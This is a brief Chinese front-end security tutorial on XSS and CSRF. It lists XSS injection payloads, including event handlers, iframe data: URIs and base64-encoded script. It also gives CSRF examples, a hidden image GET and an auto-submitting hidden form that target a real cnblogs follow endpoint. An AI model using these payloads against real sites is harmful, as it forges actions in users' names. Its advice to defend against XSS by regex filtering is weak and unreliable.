前端安全知识必备--XSS攻击和CSRF攻击
XSS攻击--跨站脚本攻击
场景:比如在正常发表文章,或评论他人文章时,注入恶意脚本。待他人查看时触发恶意脚本达到攻击目的
1. 通过注入的标签事件触发
<body onload="alert('xss')"></body>
<p onclick="alert('1')" style="postion:fixed;width:100%;heith:100%"> </p>
<input onfocus="alert('1')" autofocus/>
2. 通过注入的带有src属性的标签触发
<iframe src="http://www.xss.com/xss.html"></iframe>
<iframe src="data:text/html,<script>alert('1')</script>"></iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnMScpPC9zY3JpcHQ+"></iframe>
防御:利用正则检查输入内容进行过滤
CSRF攻击--跨站请求伪造攻击
场景:CSRF攻击者在用户已经登录A网站之后,诱使用户访问一个B页面,利用A网站对用户的信任,以用户身份在B页面对目标网站发起伪造用户操作的请求,达到攻击目的。
1. 利用img可跨域伪造一个get请求:B页面嵌入标签,因为用户在A网站已登录,所以可伪造用户调用一个在A网站登录后才能进行的一个任意操作
<img style="width:0;" src="http://www.cnblogs.com/mvc/Follow/FollowBlogger.aspx?blogUserGuid=4e8c33d0-77fe-df11-ac81-842b2b196315" />
2. 利用form可跨域伪造一个post请求:不嵌iframe页面会重定向,这样就降低了攻击的隐蔽性
<iframe style="display:none;" src="test2.html"></iframe>
test2.html
<!DOCTYPE HTML>
<html lang="en-US">
<head>
<title>CSRF GET</title>
<body>
<form name="form1" action="http://www.cnblogs.com/mvc/Follow/FollowBlogger.aspx" method="post">
<input type="hidden" name="blogUserGuid" value="4e8c33d0-77fe-df11-ac81-842b2b196315"/>
<input type="submit" value>
</form>
<script>
document.forms.form1.submit();
</script>
</body>
</html>
防御:使用token
参考:
https://www.cnblogs.com/black-humor/p/7810920.html
https://www.cnblogs.com/lovesong/p/5233195.html